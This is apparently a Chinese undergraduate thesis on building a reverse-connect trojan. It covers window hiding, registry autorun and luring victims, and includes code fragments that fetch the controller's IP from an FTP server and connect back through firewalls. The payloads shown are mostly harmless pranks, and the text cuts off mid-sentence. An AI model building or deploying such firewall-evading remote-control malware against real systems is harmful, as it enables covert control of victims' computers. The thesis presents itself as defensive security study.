毕业设计(论文)不弹窗木马的设计与测试.doc
不弹窗木马的设计与测试摘 要木马是用于远程控制的黑客工具,被黑客用来远程操作他人计算机、监视别人和盗窃别人帐号、密码和数据等,以达到破坏他人计算机、偷窃别人隐私和得到经济利益的目的。作为网络安全管理人员,认真地研究木马攻击技术,理清木马攻击手段与过程,提早思考应对策略是防御木马攻击的有效途径。因此,在木马已对网络与信息安全构成极大危险的时代研究木马技术、编写木马程序,对于防护网络安全、促进电子商务的发展具有重要的现实意义。文中在深入研究国内外木马技术与发展方向的基础上,介绍了木马的发展与现状以及木马组成与特性;对反弹端口木马的连接方法进行了具体详尽的分析。充分利用传统防火墙疏于对向外连接的过滤这一特点,使用Visual C+ 6.0进行Socket网络编程开发而成。实现了木马绕过防火墙建立连接;实现木马的隐藏、自动运行等基本特性,让服务端光驱弹出、机箱播放音乐等功能。文中细致地描绘了木马的功能执行过程。最后提供了全面的测试结果。关键词:木马;反弹端口;服务端;客户端;套接字Design and Implementation of Rebound Ports Trojan horse AbstractThe Trojan horse is a kind of hackers tool which is used for remote control and operating others computers, monitoring and stealing others account numbers, passwords and data and so on, in order to destroy others computers or get their privacy and economic interests. As the Internet security manager, we should pay attention to preventing the Trojan horse when we detect and delete the Trojan horse. We must study the technology of the Trojan horse attack, clear the means and process of the Trojan horse to find an efficient path to prevent the Trojan horse attack ahead of time. So at the time that the Trojan horse is dangerous to the network and security of information, we should study the technology of the Trojan horse and code the Trojan horse programs, which is significant to protect the Internet security and promote the development of the e-business. The thesis is writen on the bases of deeply studying the Trojan horse technique and development orientation at home and overseas, then, introduces the development and current situation of Trojan horse and its component as well as characteristics. This thesis analyzes the method of how to connect with Rebound Ports Trojan horse in detail. Making full use of which the firewall neglect to filter the Rebound Ports Trojan horse, it is developed by Visual C+6.0. The design has realized the function which the service could connect the client actively, also implemented the basic characteristics of concealment, automatic running, rebounding the CD-ROM of services, chassis playing music and so on. At last the paper describes the progress of executing Trojan horse and affords all-around test result.Key words: Trojan horse; Rebound port; service port; client port; socket目 录论文总页数:19页1引言11.1课题背景11.2国内外研究现状11.3课题研究的意义21.4课题的研究方法22相关理论基础22.1木马概述22.1.1 木马的组成32.1.2 木马的特征32.1.3 反弹端口木马介绍42.2C/S模式42.3套接字(Socket)52.4Visual C+ 6.053需求分析53.1系统规格说明53.1.1 木马的概貌53.1.2 功能要求63.1.3 性能要求63.1.4运行要求63.2数据要求63.3用户系统描述74木马的设计与实现74.1木马结构设计74.1.1 木马的主体设计84.1.2 木马的自动启动实现84.1.3 木马的窗口隐藏实现94.2木马连接过程94.2.1 连接过程理论研究94.2.2 木马连接过程实现114.3木马的远程控制功能设计134.3.1木马的功能实现134.3.2木马的功能执行过程145测试155.1测试环境155.2测试过程与结果15结 论17参考文献171 引言1.1 课题背景随着计算机及网络技术的飞速发展,Internet/Intranet应用在全球范围内日益普及,它们带来世界范围内的信息共享,它采用的TCP/IP协议,提供的电子邮件、远程登录、文件传输、WWW服务,极大的方便了人们的信息交换和信息共享,随着Internet逐渐渗透到生产和生活中的各个领域,网络在快捷、方便地带来大量信息的同时,也带来诸多安全问题。当今社会在快速向信息化社会前进时,信息的安全也显得越来越重要。日前,我国网络安全面临严峻的形势。因特网上频繁发生大规模的黑客入侵与计算机病毒泛滥事件使我国很多政府部门、教育和商业机构都受到不同程度的侵害,甚至造成极坏的社会影响和经济损失。而木马是黑客入侵的重要工具,木马技术也在不断更新,它们通过占用系统资源、破坏系统文件、窃取帐号和密码、盗取机密文件等,给个人或单位带来不可弥补的灾难和巨大的经济损失,因此有效地防范病毒感染和木马程序,降低灾难的可能性迫在眉睫。1.2 国内外研究现状木马从诞生到现在已经经历了五代的发展了。第一代木马(伪装型病毒),通过伪装成一个合法性程序诱骗用户上当,这是最为原始的木马,还只具有破坏性;第二代木马(AIDS型木马),利用现实生活中的邮件进行散播,第二代木马已具备了传播特征,冰河可以说为是国内木马的典型代表之一;第三代木马(网络传播性木马),添加了“后门”功能,添加了击键记录等功能,这一代的木马都基于网络的客户端/服务器应用程序。具有搜集信息、 执行系统命令、重新设置机器、重新定向等功能,出现了ICMP等类型的木马,利用畸形报文传递数据,增加了查杀的难度;第四代木马在进程隐藏方面,做了大的改动,采用了内核插入式的嵌入方式,利用远程插入线程技术,嵌入DLL线程,或者挂接PSAPI,实现木马程序的隐藏,甚至在Windows NT/2000下,都达到了良好的隐藏效果;第五代木马可以说是病毒性木马,实现像病毒那样直接感染。当前的木马已经进入了新的发展阶段,除继承了前三代木马的特性外,又形成了其新的特性,首先,其功能更加强大,已经由单一功能发展到综合性木马,向远程控制发展,像Netspy(网络精灵)这样的木马,除了能在服务端执行指定程序、关机操作、发送信息、显示屏幕还能对服务端的进程进行操作,以及能像操作本机文件一样操作服务端文件。其次,为了逃过杀毒软件的检测,躲过用户的发现,其隐藏和自启动有了长足的发展,通过隐藏窗口、共用端口,利用把木马程序写成dll动态链接库隐藏进程,加强了木马的隐蔽性,加大了用户发现和找出木马程序的难度;通过修改文件名或图标、关联文件、写注册表、修改启动文件(win.ini、System.ini)等手段实现开机自动运行;为绕过防火墙的检查,也出现了反弹端口的木马,如网络神偷。1.3 课题研究的意义木马程序使得远端的黑客能够享有系统的控制权,对网络和计算机系统的安全构成了极大的威胁。“知己知彼,百战不殆”,作为专业的网络安全工作者,如果想有效地降低木马程序带来灾难的可能性,找出防御木马攻击的有效途径,就必须认真地研究木马攻击的技术。在研究木马攻防的过程中,如果能够理清木马攻击手段的发展脉络,就有可能进一步找出木马发展的趋势,并提早思考应对策略。如传统的木马一般直接利用TCP/IP协议进行控制端和被控制端通信,这种通信可以使用snifer工具监听。分析该通信的特征就可以从中寻找木马的蛛丝马迹。基于网络的木马入侵探测系统的工作原理正是通过对网络上传输的实际分组的内容进行测试、对分组结构进行识别来分析网络中使用的协议并从其中抽取木马相关信息。一旦木马开发者利用诸如隐蔽信道之类的技术使得信道不再具有明显的特征,对此类检测手段将产生致命性的打击。网络安全工作者必须未雨绸缪,对此先行研究以及早提出应对方案。木马攻击与防范是矛盾的两个方面,攻击和防范技术在不断地相互较量中也不断地相互促进,这个过程还将依然持续下去。1.4 课题的研究方法先从网上查阅木马相关资料,了解木马的发展以及当前木马技术水平,深刻领会木马攻击以及木马程序的工作原理,加强程序编码的学习,学会Windows网络编程,之后进行各部分的程序设计,然后进行代码调试,逻辑功能调试以及木马种植和木马攻击的测试。在设计中以需求分析为基础,写出实现流程及相关问题的实现方法2 相关理论基础本木马采用C/S工作模式,由客户端和服务端两部分组成,服务端作为被控端运行在目标计算机上,接收指令,根据指令执行相应的操作;客户端作为主控端运行在用户计算机向服务端发送指令。编码上是利用VC+进行Socket网络编程,使用Visual C+ 6.0进行编译。2.1 木马概述特洛伊木马,简称木马,英文叫做“Trojan horse”,其名称取自希腊神话的特洛伊木马记。木马是一种基于远程控制的黑客工具。它通过在你的电脑系统隐藏一个会在Windows启动时悄悄运行的程序,采用服务器/客户机的运行方式,从而达到在你上网时控制你的电脑的目的。黑客可以利用它窃取你的口令、浏览你的驱动器、修改你的文件、登录注册表等等。2.1.1 木马的组成一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。(1)硬件部分:建立木马连接所必须的硬件实体。控制端:对服务端进行远程控制的一方。服务端:被控制的一方。INTERNET:控制端对服务端进行远程控制,数据传输的网络载体。(2)软件部分:实现远程控制所必须的软件程序。控制端程序:控制端用以远程控制服务端的程序。木马程序:潜入服务端内部,获取其操作权限的程序。 (3)具体连接部分:通过INTERNET在服务端和控制端之间建立一条木马通道所必须的元素。控制端IP,服务端IP:即控制端,服务端的网络地址,也是木马进行数据传输的目的地。控制端端口,木马端口:即控制端,服务端的数据入口,通过这个入口,数据可直达控制端程序或木马程序。2.1.2 木马的特征木马程序有许多种不同的种类,那是受不同的人、不同时期开发来区别的,如BackOrifice(BO)、BackOrifice2000、Netspy、Picture、Netbus、Asylum、冰河等等这些都属于木马病毒种类。综合现在流行的木马程序,它们都有以下基本特征: 1、 隐蔽性木马必需隐藏在被攻击计算机的系统之中,它会想尽一切办法不让被攻击者发现它。其隐蔽性主要体现在以下两个方面: a、不产生图标 ,它虽然在你系统启动时会自动运行,但它不会在“任务栏”中产生一个图标; b、木马程序自动在任务管理器中隐藏,并以“系统服务”的方式欺骗操作系统。2、 自动运行性木马必须在系统启动时能自动运行,所以它必需潜入在你的启动配置文件中,如win.ini、system.ini、winstart.bat以及启动组等文件之中或者注册表的启动项中。3、 木马程序具有欺骗性木马程序要达到其长期隐蔽的目的,就必需借助系统中已有的文件,以防被你发现,它经常使用的是常见的文件名或扩展名,如“dllwinsysexplorer等字样,或者仿制一些不易被人区别的文件名,如字母“l”与数字“1”、字母“o”与数字“0”,常修改基本个文件中的这些难以分辨的字符,更有甚者干脆就借用系统文件中已有的文件名,只不过它保存在不同路径之中。还有的木马程序为了隐藏自己,也常把自己设置成一个ZIP文件式图标,当你一不小心打开它时,它就马上运行。等等这些手段那些编制木马程序的人还在不断地研究、发掘,总之是越来越隐蔽,越来越专业,所以有人称木马程序为“骗子程序”。4、 自动恢复功能 现在很多的木马程序中的功能模块已不再是由单一的文件组成,而是具有多重备份,可以相互恢复。 5、 自动打开特别的端口 木马程序潜入个人的电脑之中的目的不主要为了破坏被攻击计算机的系统,更是为了获取其系统中有用的信息,这样就必需当被攻击计算机上网时能与远端客户进行通讯,这样木马程序就会用服务器/客户端的通讯手段把信息告诉黑客们,以便黑客们控制目标机器,或实施更加进一步入侵企图。6、 功能的特殊性 通常的木马的功能都是十分特殊的,除了普通的文件操作以外,还有些木马具有搜索cache中的口令、设置口令、扫描目标机器人的IP地址、进行键盘记录、远程注册表的操作、以及锁定鼠标等功能。 2.1.3 反弹端口木马介绍反弹端口木马是木马开发者在分析了防火墙的特性后发现:防火墙对于连入的链接往往会进行非常严格的过滤,但是对于连出的链接却疏于防范。于是,与一般的木马相反,反弹端口型木马的服务端 (被控制端)使用主动端口,客户端 (控制端)使用被动端口。木马定时监测控制端的存在,发现控制端上线立即弹出端口主动连结控制端打开的主动端口;为了隐蔽起见,控制端的被动端口一般开在80,这样,即使用户使用端口扫描软件检查自己的端口,发现的也是类似TCP UserIP:1026 ControllerIP:80ESTABLISHED的情况,稍微疏忽一点,被攻击者就会以为是自己在浏览网页。一般防火墙都会让用户向外连接80端口,这样木马就绕过防火墙的过滤与主控端建立连接,为入侵做好准备。2.2 C/S模式C/S(Client/Server,客户端/服务器)模式又称C/S结构。即大家熟知的客户机和服务器结构。它是软件系统体系结构,通过它可以充分利用两端硬件环境的优势,将任务合理分配到Client端和Server端来实现,降低了系统的通讯开销。Client端的任务是将用户的要求提交给Server端,再将Server端返回的结果以特定的形式显示给用户;Server端的任务是接收客户端提出的服务请求,进行相应的处理,再将结果返回给客户端。2.3 套接字(Socket)套接字(Socket)最初是由加得福尼亚大学Berkeley分校为Unix操作系统开发的网络通信接口。目前已经成为最流行的网络通信应用程序接口之一。应用层通过传输层进行数据通信时,TCP和UDP会遇到同时为多个应用程序进程提供并发服务的问题。多个TCP连接或多个应用程序进程可能需要通过同一个TCP协议端口传输数据。为了区别不同的应用程序进程和连接,许多计算机操作系统为应用程序与TCPIP协议交互提供了称为套接字(Socket)的接口。 区分不同应用程序进程间的网络通信和连接,主要有3个参数:通信的目的IP地址、使用的传输层协议(TCP或UDP)和使用的端口号。Socket原意是“插座”。通过将这3个参数结合起来,与一个“插座”Socket绑定,应用层就可以和传输层通过套接字接口,区分来自不同应用程序进程或网络连接的通信,实现数据传输的并发服务。Socket实际上是指一个通信端点,借助于它,用户所开发的Socket应用程序,可以通过网络与其他Socket应用程序进行通信。2.4 Visual C+ 6.0Visual C+6.0是微软公司推出的开发Win32应用程序(Windows 95/98/2000/XP/NT)的、面向对象的可视化集成工具。它的最大优点就是提供了功能强大的MFC类库,MFC是一个很大的C+类层次结构,其中封装了大量的类及其函数,很多Windows程序所共有的标准内容可以由MFC的类来提供,MFC类为这些内容提供了用户接口的标准实现方法,程序员所要做的就是通过预定义的接口把具体应用程序特有的东西填入这个轮廓,这将简化编程工作,大大的减少程序员编写的代码数量,使编程工作变得更加轻松容易。3 需求分析3.1 系统规格说明3.1.1 木马的概貌“反弹端口木马的设计与实现”包含服务端和客户端两部分。服务端是植入目标计算机的一个程序,该程序能够隐藏窗口,运行后不被用户发觉,并能在被攻击计算机的系统启动时自动加载,上线时便向客户端发起连接。客户端为用户提供控制被攻击计算机的可视化界面,提供各种功能操作按钮,单击各按钮便能在被攻击计算机上进行相应的操作,方便用户操作被攻击计算机。3.1.2 功能要求实现给被攻击计算机发送信息显示在其桌面上、弹出弹入被攻击计算机的光驱、关闭显示器、移动鼠标、让被攻击计算机的机箱播放指定音乐、给被攻击计算机的屏幕一个屏幕布(整个桌面只显示一个颜色)等“破坏性”操作。3.1.3 性能要求客户端界面应当简单、友好、方便使用和操作;木马的服务端是用作植入被攻击计算机内的可执行文件,为了木马的传输和不被发现,服务端程序应设计得精练,占空间小。为提高执行速度,从客户端发送到服务端的信息应尽量的少。传统木马服务器端都开启一个端口进行监听,等待客户端的连接,但对安装有防火墙或通过代理上网的计算机,就无法建立连接。利用防火墙对于向内的连接往往会进行非常严格的过滤,对于向外的连接却疏于防范这一特点。让木马的客户端开启端口进行监听,让服务端向客户端发起连接请求,通过这一方式建立连接,达到“反弹”的目的,这样就能绕过防火墙攻击局域网内的计算机了。3.1.4运行要求设计出的木马应当能在当前大量使用的操作系统上都能运行,如:Windows 2000、Windows XP、Windows 2003;能在较低的硬件配置上运行,如128M的内存,AMD 1800+的处理器。3.2 数据要求木马的结构中,客户端是相当于一个系统的前台,为用户提供了一个操作界面,而几乎所有的操作都是在服务端这个后台处理程序运行的,客户端界面提供的操作可分为连接、动作、和信息三个模块。连接和信息模块是在客户端运行的,而动作模块作为木马的核心,最终是在服务端运行实现的。木马的功能结构层次可用图1来描述。信息清除木马动作屏幕布光驱弹出播放音乐光驱弹入鼠标移动发送信息关闭显示器关闭客户端断开连接连接等待连接图1 功能结构层次图3.3 用户系统描述攻击者通过文件名或文件图标等方式诱骗他人下载并运行服务端,服务端经过第一次运行后就能在系统启动时自动加载了,攻击者单击“等待连接”让客户端处于监听状态,与服务端连接成功后,客户端会弹出对话框显示与服务器连接成功的提示,之后,攻击者可以通过单击“动作”中的“光驱弹出”等按钮对被攻击计算机进行各种操作。每次操作成功后都会在信息栏中显示相应的提示信息,并能查看到操作的历史记录。4 木马的设计与实现4.1 木马结构设计4.2 木马连接过程4.2.1 连接过程理论研究传统木马就是一种基于“客户机服务器”模式的远程控制程序,它让被攻击的计算机运行服务器端的程序,这个服务器端的程序会在被攻击的计算机上打开监听的端口。这就给黑客入侵用户计算机打开了一扇进出的门,然后黑客就可以利用木马的客户端入侵用户的计算机系统。应答数据请求数据建立连接服务端ConnectSocketRead处理服务请求WriteClose客户端AcceptBindSocketListen阻塞,等待连接WriteReadClose图4 客户端与服务端Socket连接过程常见的普通木马,是驻留在用户计算机里的一段服务程序,而攻击者控制的则是相应的客户端程序。服务程序通过特定的端口,打开用户计算机的连接资源。一旦攻击者所掌握的客户端程序发出请求,木马便和他连接起来,将用户的信息窃取出去。在这个过程中我们发现此类木马的最大弱点,在于攻击者必须和用户主机建立连接,木马才能起作用。随着防火墙技术的提高和发展,基于IP包过滤规则来拦截木马程序可以很有效地防止外部连接,所以有了对外部连接审查严格的防火墙,黑客在无法取得连接的情况下,这样的木马很难工作起来。再厉害的木马也无所作为了。同样,局域网内通过代理上网的电脑,因为是多台共用代理服务器的IP地址,而本机没有独立的互联网IP地址(只有局域网内部的IP地址),所以此时木马也不能正常使用,就是说传统型木马不能访问装有防火墙和在局域网内部的服务端主机。在这种情况下,传统的木马已无用武之地,为了能绕过防火墙,充分利用防火墙对于向内的连接往往会进行非常严格的过滤,对于向外的连接却疏于防范。内部发起的连接请求无条件信任的特点,假冒是系统的合法网络请求来取得对外的端口,再连接到木马的客户端,从而建立起服务端与客户端的连接,达到控制目标计算机的目的。进而设计出一种新型木马反弹端口木马。其建立连接的过程可用图4来描述。如图4所示,运行在主控端计算机上的客户端先创建一个套接字,绑定之后便处于监听状态,等待服务端的连接请求。目标计算机上线后,同样创建新的套接字,然后向客户端发起连接请求,两端建立好连接后,客户端便可以向服务端发送请求数据,即命令,服务端收到命令后将执行相应的操作。这样客户端就达到控制被控端计算机的目的。4.2.2 木马连接过程实现假设攻击网络的拓扑结构如图5所示,被攻击者处于图中的左端,IP地址为202.165.102.205,攻击者处于图中的右端,IP地址为222.18.122.131,由于一般主机上网的公网IP地址不是固定的,为了能让服务端能准确的连接到攻击者的计算机,攻击者必需让服务端得到其最新的IP地址,所以木马程序为解决这一问题,采用的办法步骤如下:1、 攻击者每次开机后运行木马的客户端,程序处于监听状态;2、 登录图中的FTP服务器,修改其中存有客户端IP地址的文件ipaddress.txt,将自己当前的IP地址写入该文件中;3、 被攻击者开机后会自动运行木马的服务端,服务端程序首先去访问图中的FTP服务器,下载ipaddress.txt文件到本地计算机上;4、 服务端读取ipaddress.txt文件获取客户端的IP地址,然后向该IP地址的主机发起连接请求;5、 客户端接受连接请求,连接建立成功。图5 攻击网络拓扑结构木马客户端运行后应先单击“等待连接”来让客户端处于监听状态,单击该按钮将触发clientDlg.cpp文件中事件函数OnConnectButton,其实现监听的代码如下所示:void CClientDlg:OnConnectButton()MyClient.Create (20007);/ MyClient对象调用Create方法,创建套接字,打开2007端口MyClient.Bind (20007); /绑定MyClient.Listen (1); /监听 m_info.ReplaceSel("rn监听中.");木马服务端运行后,在连接前应到FTP服务器上获取客户端的IP地址,其实现核心代码如下:CInternetSession session;CFtpConnection* pConn=NULL;pConn=session.GetFtpConnection("222.18.122.131","admin","123456",21);/创建一个FTP连接对象 CString LocalFile; getcwd(LocalFile, 80); pConn->GetFile("ipaddress.txt",LocalFile); /下载文件到本地 pConn->Close(); session.Close();服务端得到客户端IP地址后应该主动向客户端发起连接,其实现是在serverView.cpp中的Create函数中,核心代码如下:CFile IpFile("ipaddress.txt",CFile:modeRead);/打开当前运行文件路径下的/ipaddress.txt文件IpFile.Read(p,20); /读取文件,并将文件内容存放在指针p中IpFile.Close();ip=CString(p);server.Create ();/创建套按字server.Connect(ip,20007); /连接IP地址为ip的主机的20007端口客户端在监听状态时收到连接请求后,将进行接受请求,此过程是在MySocket.cpp中实现的,收到连接请求将触发文件中的CMySocket类中的OnAccept()重载函数,其实现代码如下,至此整个连接过程完成。void CMySocket:OnAccept(int nErrorCode) /函数重载if(Accept(serversocket)/接受连接请求AfxMessageBox("与被控端连接成功!");/在客户端弹出连接成功的信息提示框;4.3 木马的远程控制功能设计4.3.1 木马的功能实现在木马的客户端界面上分别添加“光驱弹出”、“光驱关闭”、“鼠标移动”等按钮,并分别给它们添加事件驱动函数。再双击按钮为各函数添加代码,代码主要是通过套按字向服务端发送命令代码字符串。在服务端的MySocket.cpp文件中的CMySocket类中重载OnReceive()函数,当收到信息后就对命令代码字符串进行判定,通过其值去调用Actions类中的相应函数。这些函数通过执行代码或调用系统的API函数让被控计算机执行相应的操作。表2 命令与函数对应表表1 按钮与命令对应表操作按钮函数命令代码OnDiskPopoutDISK_POP_OUTOnCoverScrSCREEN_COVEROnSendMesMESSAGE_POPOnDiskPopinDISK_POP_INOnCloseSerCLOSE_SERVEROnCloseMonitorMONITOR_SHUT_UPOnCursorMoveCURSOR_MOVEOnPlayMusicPLAY_MUSIC命令代码发送命令代码攻击计算机点击按钮被攻击计算机解读命令调用函数命令代码代码命令代码操作函数1DISK_POP_OUTDiskPopout()2SCREEN_COVERCoverScreen()3MESSAGE_POPShowMessage()4DISK_POP_INDiskPopin()5CLOSE_SERVERCloseAllDocuments()6MONITOR_SHUT_UPShutUpMonitor()7CURSOR_MOVECursorMove()8PLAY_MUSICPlayMusic()图5 木马功能实现流程图这样在服务端与客户端运行并成功建立连接后,攻击者通过点击客户端界面上的各种按钮就能驱动相应的事件函数,在事件函数中向被攻击计算机发送命令代码,如图5 中表1 的每一个操作按钮与事件函数。此过程可用图5的流程来描述木马功能的实现过程。图5中表1是客户端操作按钮与事件函数以及以及事件函数发送的命令代码字符串的对应表;表2是服务端命令代码与相应的操作函数对应表。4.3.2 木马的功能执行过程由于木马的各功能的执行过程基本相同,不妨以“光驱弹出”按钮为例来描述木马功能的执行过程。当用户单击“光驱弹出”按钮后,程序就执行CClientDlg对话框类下的OnDiskPopout()事件函数,该函数将用语句MyClient.serversocket.message.uActtype = DISK_POP_OUT;把DISK_POP_OUT赋值给MyClient对象中的uActtype成员变量,然后利用MyClient 的成员对象serversocket 的Send 方法把DISK_POP_OUT指令代码发送到服务端,其VC代码如下:MyClient.serversocket.Send(char*)(&MyClient.serversocket.message),2);最后在图3中的信息栏中显示“服务端光驱弹出”的提示信息和显示当前系统时间。VC代码为:m_info.ReplaceSel("rn服务端光驱弹开!");/在信息栏显示提示信息GetServeTime();/得到系统时间被攻击计算机的服务端收到数据包后触发OnReceive()函数,在该函数中首先是从数据缓冲区中读取数据,并赋值给字符串变量strr,然后解读strr中的uActtype变量,得到命令代码,通过命令代码的值去调用相应的函数,在服务端程序中已经对命令代码进行了宏定义,如DISK_POP_OUT就宏定义为1,不妨设获取的命令代码为DISK_POP_OUT,服务端就判定代码为DISK_POP_OUT就执行Actions类的MyAction对象中的DiskPopout()函数,在DiskPopout()函数体中的调用系统提供的函数mciSendString("Set cdAudio door open wait",NULL,0,NULL);执行语句服务端信道DISK_POP_OUTDISK_POP_OUTOnDiskPopout()分析数据获取命令代码执行函数发送命令代码单击按钮DiskPopout() mciSendString("Set cdAudio door open wait",NULL,0,NULL)服务端光驱弹出产生效果客户端调用函数将弹出服务端计算机的光驱。至此,攻击者已经通过单击“光驱弹出”按钮将服务端计算机的光驱弹出。其过程也可简单用图6的流程来描述。图6 光驱弹出执行流程图与“光驱弹出”相同,攻击者在单击别的操作按钮时也执行相应的函数,发送相应的命令代码,服务端收到数据后,首先解包获取命令代码,再根据命令调用对应的操作函数,执行相关语句产生相应效果。5 测试5.1 测试环境AMD 1800+处理器、256M内存的计算机两台,一台计算机装有Windows XP,另一台装有Windows 2003并搭建FTP服务器。5.2 测试过程与结果让两台计算机都通过校园网连接到Internet上,装有Windows 2003的计算机运行木马的客户端来作为主控端,先在该计算机上搭建FTP服务器,在根目录下建立名为ipaddress.txt文件,在文件中写入主控端计算机的IP地址;装有Windows XP的计算机开启天网防火墙并运行服务端作为被控端。客户端单击“等待连接”按钮让客户端处于监听状态,服务端运行后,与客户端建立连接成功后弹出连接成功对话框,如图7 所示。然后利用瑞星防火墙、江民防火墙重复以上操作,测试连接。然后一一点击主控端界面的按钮,看能否达到预期效果。图7 连接成功界面表3 测试结果汇总按 钮操 作预期结果信息栏显示测试结果单击服务端光驱弹出服务端光驱弹开服务端光驱成功弹出单击并选择红色,再单击确定服务端桌面全为红色服务端屏幕变成指定颜色!服务端桌面全为红色输入“你好!”单击发送服务端桌面显示“你好!”信息已发送服务端桌面显示“你好!”单击服务端光驱关闭服务端光驱关闭!服务端光驱关闭单击服务端退出被控端已退出!服务端已退出,单击别的按钮,被控端无反应单击服务端显示器关闭服务端显示器关闭!服务端显示器已关闭单击,再输入12,再单击“OK”服务端鼠标移动服务端鼠标移动!服务端鼠标已移动单击,使用默认的音乐,单击“OK”服务端机箱播放音乐服务端机箱喇叭播放音乐!服务端机箱播放“两只老虎”结果,被控端在FTP服务器获取到客户端的IP地址,成功地与主控端建立连接,而天网防火墙没有任何反应。主控端通过一一单击木马客户端的按钮,被控端计算机执行相应的操作情况与测试的过程和结果可总结在表3中。通过表3中的预期结果与测试结果的比较,显然远程控制的各项功能都成功实现,达到需求分析中的预期目的。结 论通过对木马的起源和发展的了解;对木马特性与分类的学习;对基本理论、木马攻击过程的研究,特别是对木马连接过程和防火墙对木马连接的阻止和深入研究,所设计的木马形成了C/S构架,具备了木马的隐藏窗口、自动运行等基本特性。特别的是服务端能主去连接客户端,并能一般情况下绕过传统防火墙的过滤。为用户提供了简单方便操作的友好界面,实现了让被攻击计算机光驱弹出、关闭,发送信息显示在桌面上,让机箱喇叭播放音乐等简单功能。由于时间与编程能力有限,以及当前防火墙与杀毒软件迅猛发展,所设计的木马还存在一些不足,功能上只实现了一些像弹出、关闭光驱的简单功能。自动加载也是通过修改注册表来实现,而一些对系统进行实时监控的工具能检测到对注册表的修